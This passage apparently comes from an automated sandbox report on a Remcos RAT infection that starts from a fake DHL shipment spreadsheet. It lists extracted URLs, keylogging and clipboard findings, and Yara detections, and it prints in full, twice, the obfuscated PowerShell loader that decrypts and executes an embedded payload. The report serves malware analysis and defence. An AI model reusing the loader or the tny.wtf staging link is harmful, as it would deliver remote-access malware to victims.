            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAzl6aj.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17cJeH.img?h=250&w=30
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dAYk.img?h=75&w=100
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dJEo.img?h=75&w=100
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dLTg.img?h=166&w=31
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dOHE.img?h=333&w=31
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dWNo.img?h=166&w=31
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17dtuY.img?h=333&w=31
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e0XT.img?h=166&w=31
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e3cA.img?h=75&w=100
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e5NB.img?h=75&w=100
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e7Ai.img?h=250&w=30
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17e9Q0.img?h=166&w=31
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17eeI9.img?h=75&w=100
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB17ejTJ.img?h=75&w=100
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBPfCZL.img?h=27&w=27&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBYMDHp.img?h=27&w=27&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBZbaoj.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBh7lZF.img?h=333&w=311
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBih5H.img?m=6&o=true&u
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlKGpe.img?h=75&w=100&
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBlPHfm.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnMzWD.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBqRcpR.img?h=16&w=16&m
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://static.chartbeat.com/js/chartbeat.js
            Source: tny.wtf.url.3.drString found in binary or memory: http://tny.wtf/
            Source: dg4Zx.url.3.drString found in binary or memory: http://tny.wtf/dg4Zx
            Source: DHL Shipment Notification 490104998009.xlsString found in binary or memory: http://tny.wtf/dg4Zx.1
            Source: 4B630000.0.dr, ~DF46F34CCCE4D30395.TMP.0.drString found in binary or memory: http://tny.wtf/dg4ZxyX
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js
            Source: RegAsm.exe, RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com
            Source: RegAsm.exe, RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.462631426.0000000000959000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.imvu.com
            Source: RegAsm.exe, 0000000F.00000002.462205602.000000000022C000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.imvu.com/QK
            Source: RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
            Source: RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comr
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://www.msn.com/
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://www.msn.com/?ocid=iehp
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://www.msn.com/advertisement.ad.js
            Source: bhv8C29.tmp.13.drString found in binary or memory: http://www.msn.com/de-de/?ocid=iehp
            Source: RegAsm.exe, 0000000D.00000002.465341899.0000000000354000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net
            Source: RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://contextual.media.net/
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://contextual.media.net/8/nrrV73987.js
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
            Source: powershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
            Source: powershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
            Source: powershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
            Source: RegAsm.exeString found in binary or memory: https://login.yahoo.com/config/login
            Source: powershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://policies.yahoo.com/w3c/p3p.xml
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://s.yimg.com/lo/api/res/1.2/cKqYjmGd5NGRXh6Xptm6Yg--~A/Zmk9ZmlsbDt3PTYyMjtoPTM2ODthcHBpZD1nZW1
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://static-global-s-msn-com.akamaized.net/hp-eus/sc/9b/e151e5.gif
            Source: RegAsm.exe, 0000000D.00000002.465577014.0000000000EC8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://www.ccleaner.com/go/app_cc_pro_trialkey
            Source: RegAsm.exe, RegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
            Source: RegAsm.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
            Source: bhv8C29.tmp.13.drString found in binary or memory: https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033

            Key, Mouse, Clipboard, Microphone and Screen Capturing

            barindex
            Contains functionality to register a low level keyboard hook
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,0000000012_2_0040A2B8
            Installs a global keyboard hook
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,12_2_0040B70E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,12_2_004168C1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,13_2_0040987A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 13_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,13_2_004098E2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,14_2_00406DFC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 14_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,14_2_00406E9F
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalFix,ReadFile,GlobalUnWire,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,15_2_004068B5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 15_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,CloseClipboard,15_2_004072B5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,12_2_0040B70E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,12_2_0040A3E0

            E-Banking Fraud

            barindex
            Yara detected Remcos RAT
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.970273090.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3680, type: MEMORYSTR
            Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
            Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
            Source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
            Source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
            Source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
            Source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
            Source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
            Source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
            Source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
            Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
            Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
            Source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
            Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
            Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
            Source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
            Source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
            Source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
            Source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
            Source: Process Memory Space: RegAsm.exe PID: 3680, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings[1].doc, type: DROPPEDMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
            Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B138FD5.doc, type: DROPPEDMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
            Excel sheet contains many unusual embedded objects
            Source: DHL Shipment Notification 490104998009.xlsOLE: Microsoft Excel 2007+
            Source: ~DF12C089FB471A9923.TMP.0.drOLE: Microsoft Excel 2007+
            Source: 4B630000.0.drOLE: Microsoft Excel 2007+
            Microsoft Office drops suspicious files
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\dg4Zx.urlJump to behavior
            Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.urlJump to behavior
            Very long command line found
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 3116Jump to behavior
            Windows Scripting host queries suspicious COM object (likely to drop second stage)
            Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgIDJump to behavior
            Wscript starts Powershell (via cmd or directly)
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
            Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess Stats: CPU usage > 49%
            Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 770B0000 page execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\wscript.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_004180EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,12_2_004180EF
